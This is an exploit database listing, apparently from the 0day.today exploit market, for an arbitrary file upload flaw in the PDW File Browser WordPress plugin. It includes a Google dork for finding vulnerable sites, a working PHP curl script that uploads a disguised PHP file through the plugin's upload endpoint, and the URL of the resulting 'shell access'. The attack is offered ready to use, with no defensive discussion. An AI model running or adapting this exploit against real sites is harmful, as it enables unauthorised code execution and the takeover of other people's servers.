[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Wordpress Plugins PDW File Browser Arbitrary File Upload Vulnerability

Author
Sammy FORGIT
Risk
[
Security Risk High
]
0day-ID
0day-ID-18486
Category
web applications
Date add
07-06-2012
Platform
php
##################################################
# Description : Wordpress Plugins - PDW File Browser Arbitrary File Upload Vulnerability
# Version : 1.1
# Link : http://wordpress.org/extend/plugins/pdw-file-browser/
# Plugins : http://downloads.wordpress.org/plugin/pdw-file-browser.zip
# Google Dork : inurl:/wp-content/plugins/pdw-file-browser/
# Author : Sammy FORGIT - sam at opensyscom dot fr - http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php.gif";
$ch = curl_init("http://www.exemple.com/wordpress/wp-content/plugins/pdw-file-browser/pdw_file_browser/swfupload/upload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
       array('Filedata'=>"@$uploadfile",
              'uploadpath'=>'/wordpress/wp-content/plugins/pdw-file-browser/pdw_file_browser/swfupload/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : http://www.exemple.com/wordpress/wp-content/plugins/pdw-file-browser/pdw_file_browser/swfupload/lo.php.gif

lo.php.gif
<?php
phpinfo();
?>



#  0day.today [2024-11-15]  #